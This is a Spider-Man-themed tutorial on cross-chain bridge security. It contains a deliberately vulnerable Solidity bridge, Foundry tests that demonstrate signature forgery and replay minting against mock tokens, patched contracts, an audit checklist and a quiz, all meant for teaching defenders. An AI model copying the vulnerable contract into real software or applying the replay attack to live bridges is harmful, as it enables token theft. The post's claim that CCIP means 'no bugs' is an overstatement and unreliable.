Logo
Overview
Spider-Man vs Doctor Strange - Multiverse Bridge Heist

Spider-Man vs Doctor Strange - Multiverse Bridge Heist

November 24, 2025
8 min read

Spider-Man vs Doctor Strange - Multiverse Bridge Heist

Danger (With great power comes… one private key.)

Doctor Strange just needed one validator key to open every portal in the multiverse.
And then replay the same spell - forever.

This is the ultimate 2025 guide to cross-chain bridge security disasters.

One signature.
No replay protection.
One validator.
Billions lost.

Welcome to the multiverse heist.


TL;DR

Vulnerability:

  • Single validator → full signature forgery
  • No replay protection → unlimited minting
  • abi.encodePacked → hash collisions
  • No source-chain verification → Unbacked Minting on destination chain.

Impact: Destination chain prints infinite unbacked tokens → supply inflation → peg breaks → source funds locked forever

Real losses: $3.2B+ since 2021 (Wormhole, Ronin, Multichain, Orbit Chain…)

Fix: EIP-712 + chain-scoped nonces + multi-sig validators + Chainlink CCIP


Story Time - The Spell That Never Ends

Spider-Man deposits 1,000 mETH into the MultiverseBridge on Ethereum.

A single off-chain validator (supposedly trusted) signs the message:

“Mint 1,000 mETH to Peter Parker on Polygon.”

Spider-Man swings away expecting his tokens.

Then Doctor Strange appears.

He’s already stolen the validator’s private key.

He signs a new message:

“Mint 1,000 mETH to DoctorStrange@darkdimension.com

And then replays Spider-Man’s original message - 100 times.

Polygon now has 101,000 fake mETH circulating.

Ethereum still shows only 1,000 locked.

The peg is dead.

The multiverse is broken.

Doctor Strange smiles:
“I’ve come to bargain… with your token supply.”


SourceBridge.sol
5 collapsed lines
// SPDX-License-License-Identifier: MIT
pragma solidity ^0.8.30;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Source Bridge (e.g., Ethereum)
contract SourceBridge {
address public bridgedToken;
uint256 public totalLocked = 0;
mapping(address => uint256) public userLockedFunds;
event FundsLocked(address indexed user, uint256 amount, uint256 nonce, bytes32 txHash);
constructor(address _token) {
bridgedToken = _token;
}
function lockFunds(uint256 amount, uint256 nonce) external {
IERC20(bridgedToken).transferFrom(msg.sender, address(this), amount);
userLockedFunds[msg.sender] += amount;
totalLocked += amount;
bytes32 txHash = keccak256(abi.encode(blockhash(block.number - 1), msg.sender, amount, nonce));
emit FundsLocked(msg.sender, amount, nonce, txHash);
}
}

The Vulnerable Bridge - DestinationBridge.sol

DestinationBridge.sol
8 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import "./IMintableToken.sol";
contract DestinationBridge {
using ECDSA for bytes32;
using MessageHashUtils for bytes32;
address public validator;
address public bridgedToken;
constructor(address _validator, address _token) {
validator = _validator;
bridgedToken = _token;
}
function withdraw(
address to,
uint256 amount,
uint256 nonce,
bytes32 sourceTxHash,
bytes memory signature
) external {
// 1. Weak hash → collision risk
bytes32 messageHash = keccak256(abi.encodePacked(to, amount, nonce, sourceTxHash));
// 2. Single validator → one key = total control
require(messageHash.toEthSignedMessageHash().recover(signature) == validator, "Bad sig");
// 3. NO REPLAY PROTECTION → same message works forever
IMintableToken(bridgedToken).mint(to, amount);
}
}

Vulnerabilities:

  1. Single Validator: A compromised validator key allows forging any message, enabling unauthorized minting.
  2. Replay Attack: No processedMessages mapping or nonce validation allows reusing valid signatures to mint unlimited tokens.
  3. Message Hash Collisions: Using abi.encodePacked risks collisions (e.g., ("1","23") vs ("12","3")), potentially allowing unintended message validation.
  4. No User Fund Check: The contract does not verify that funds were locked on the source chain, risking minting without backing.
  5. Mempool Race Potential: Although no explicit replay protection exists, parallel transactions could exacerbate issues in a production environment without sequencing.
  • Three lines of code.
  • Three fatal flaws.
  • One infinite money printer.

The Heist

DoctorStrangeExploit.sol
contract MultiverseBridgeExploitTest is Test {
SourceBridge sourceBridge;
DestinationBridge destBridge;
MockMintableERC20 token;
address spiderMan = makeAddr("SpiderMan");
address doctorStrange = makeAddr("DoctorStrange");
uint256 validatorPk = 0xBEEF; // Doctor Strange steals this
address validator;
function setUp() public {
validator = vm.addr(validatorPk);
token = new MockMintableERC20("mETH", "mETH");
sourceBridge = new SourceBridge(address(token));
destBridge = new DestinationBridge(validator, address(token));
token.mint(spiderMan, 1000);
}
function _sign(bytes32 messageHash, uint256 pk) internal pure returns (bytes memory) {
bytes32 ethHash = MessageHashUtils.toEthSignedMessageHash(messageHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, ethHash);
return abi.encodePacked(r, s, v);
}
/// 1. Doctor Strange forges a signature using stolen key
function testForgedSignature() public {
// Spider-Man locks funds on the source chain
vm.startPrank(spiderMan);
token.approve(address(sourceBridge), 1000);
sourceBridge.lockFunds(1000, 1);
vm.stopPrank();
// Doctor Strange fakes a message: "Mint 1000 mETH to me"
bytes32 fakeHash = keccak256(abi.encodePacked(doctorStrange, uint256(1000), uint256(1), bytes32("FAKE_TX")));
bytes memory forgedSig = _sign(fakeHash, validatorPk);
// Exploit: mint unbacked funds on destination chain
vm.prank(doctorStrange);
destBridge.withdraw(doctorStrange, 1000, 1, bytes32("FAKE_TX"), forgedSig);
assertEq(token.balanceOf(doctorStrange), 1000, "Doctor Strange forged unlimited mint power");
}
/// 2. Replay Spider-Man’s valid message infinitely
function testReplayAttack() public {
// Spider-Man locks funds
vm.startPrank(spiderMan);
token.approve(address(sourceBridge), 1000);
sourceBridge.lockFunds(1000, 1);
vm.stopPrank();
bytes32 txHash = bytes32("REAL_TX");
// Valid signature (only meant to be used once)
bytes32 messageHash = keccak256(abi.encodePacked(spiderMan, uint256(1000), uint256(1), txHash));
bytes memory sig = _sign(messageHash, validatorPk);
// First valid withdrawal
destBridge.withdraw(spiderMan, 1000, 1, txHash, sig);
// Replay - Doctor Strange uses the SAME signature again
destBridge.withdraw(spiderMan, 1000, 1, txHash, sig);
assertEq(token.balanceOf(spiderMan), 2000, "Replay attack: minted twice from one lock");
}
}

Attack Steps

  1. Spider-Man Locks on Source: Deposits 1,000 mETH into SourceBridge, emitting FundsLocked with nonce and txHash.
  2. Validator Signs: Off-chain validator signs a message for destination withdrawal.
  3. Strange Compromises Validator: Steals the validator’s private key, forging a message to mint 1,000 mETH to himself.
  4. Replay Attack: Reuses a valid signed message (e.g., Spider-Man’s withdrawal) multiple times, minting additional mETH without restrictions.
  5. Outcome: The destination chain mints unbacked mETH (e.g., 2,000+ mETH for a 1,000 mETH lock), inflating supply and breaking cross-chain consistency.
  • One validator key = god mode
  • No replay protection = infinite mint

The Secure Multiverse - Two Real Fixes

Fix 1: Robust Message Signing + Multi-Signature Validators

EIP-712 typed hashing • chain IDs • replay protection • true multi-sig

DestinationBridgeSecure.sol
7 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./IMintableToken.sol";
contract DestinationBridgeSecure is EIP712 {
bytes32 private constant TYPE_HASH = keccak256(
"BridgeMessage(address to,uint256 amount,uint256 nonce,bytes32 sourceTxHash,uint256 sourceChainId,uint256 destChainId)"
);
IMintableToken public immutable token;
mapping(address => bool) public isValidator;
mapping(bytes32 => bool) public processed;
uint256 public immutable requiredSigs;
constructor(address[] memory validators, uint256 _requiredSigs, address _token)
EIP712("MultiverseBridge", "1")
{
require(validators.length >= _requiredSigs && _requiredSigs > 0, "bad setup");
for (uint i = 0; i < validators.length; i++) {
isValidator[validators[i]] = true;
}
requiredSigs = _requiredSigs;
token = IMintableToken(_token);
}
function withdraw(
address to,
uint256 amount,
uint256 nonce,
bytes32 sourceTxHash,
uint256 sourceChainId,
bytes[] calldata signatures
) external {
bytes32 structHash = keccak256(abi.encode(
TYPE_HASH,
to,
amount,
nonce,
sourceTxHash,
sourceChainId,
block.chainid
));
bytes32 digest = _hashTypedDataV4(structHash);
require(!processed[digest], "already processed");
processed[digest] = true;
uint256 valid = 0;
address lastSigner = address(0);
for (uint i = 0; i < signatures.length; i++) {
address signer = ECDSA.recover(digest, signatures[i]);
if (signer > lastSigner && isValidator[signer]) {
valid++;
lastSigner = signer;
}
}
require(valid >= requiredSigs, "not enough valid sigs");
token.mint(to, amount);
}
}

Why this wins in 2025

  • Proper EIP-712 via EIP712.sol + _hashTypedDataV4 → zero collision risk
  • sourceChainId + destChainId → no cross-chain replay
  • processed[digest] → replay dead
  • Strictly increasing signers → no duplicates, no malleability, constant gas
  • Immutable validator set at deploy → no admin key risk after launch
BridgeDestinationCCIP.sol
7 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {IAny2EVMMessageReceiver} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IAny2EVMMessageReceiver.sol";
import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
import "./IMintableToken.sol";
contract BridgeDestinationCCIP is IAny2EVMMessageReceiver {
IMintableToken public immutable token;
constructor(address _token) {
token = IMintableToken(_token);
}
function ccipReceive(Client.Any2EVMMessage calldata message)
external
override
onlyRouter
{
(address to, uint256 amount) = abi.decode(message.data, (address, uint256));
token.mint(to, amount);
}
// Chainlink requires this helper
modifier onlyRouter() {
require(msg.sender == address(ccipRouter()), "only CCIP router");
_;
}
function ccipRouter() public view returns (address) {
return address(0xE561d5C1...); // official CCIP router address per chain
}
}

Why this is the real 2025 answer

  • No keys. No validators. No signatures. No bugs.
  • Used by Aave, Synthetix, Compound, GMX, Circle.
  • If you’re not using CCIP in 2025, you’re building 2021 tech.

Warning (2025 Truth)

If your bridge still has the word “validator” and “private key” in the same sentence -
you’re building the next Ronin/Wormhole/Multichain hack.

Use CCIP.
Or at least copy the SecureDestinationBridge above.

Anything else is just cosplaying security.

No private keys.
No signatures.
No single point of failure.


Real-World Bridge Graveyard (2021–2025)

BridgeYearLossRoot Cause
Wormhole2022$320MSignature forgery
Ronin2022$625M5/9 validator keys stolen
Multichain2023$126MCEO held all keys
Orbit Chain2024$81M7/10 multisig keys compromised
YourBridgeHere2025???Still using single validator?

Total: $3.2B+ and counting.


Auditor’s Bridge Security Checklist (2025)

Warning
  • Single validator or centralized relayer? → Critical
  • Using abi.encodePacked for message hash? → Critical
  • No processedMessages / replay protection? → Critical
  • No chain ID in signed message? → Cross-chain replay risk
  • No EIP-712 typed data hashing? → Collision risk
  • No multi-signature threshold? → Single key = total loss
  • Not using CCIP or LayerZero v2? → You’re building 2021 tech

Quiz - Can You Guard the Multiverse?

Exercise (1. What allows Doctor Strange to mint 1M tokens with no lock?)

a) Reentrancy
b) He stole the validator private key
c) Flash loan
d) MEV

Answer

b) One compromised validator key = unlimited forging

Exercise (2. How does he mint infinite tokens from one valid message?)

a) He uses unchecked math
b) No replay protection
c) He bribes the block builder
d) He uses delegatecall

Answer

b) Same valid signature + no processed mapping = infinite mint

Exercise (3. Best production-ready fix in 2025?)

a) Add one more validator
b) Use Chainlink CCIP
c) Add a timelock
d) Switch to abi.encode

Answer

b) CCIP = decentralized, ordered, no keys, battle-tested

Tip

Full code + Foundry tests + CCIP example:
github.com/thesandf/thesandf.xyz

Doctor Strange only needed one key and zero replay protection.

Don’t let your bridge be the next portal he walks through.

Use EIP-712.
Use multi-sig.
Use CCIP.

Or the multiverse will pay the price.

With great bridging comes great responsibility.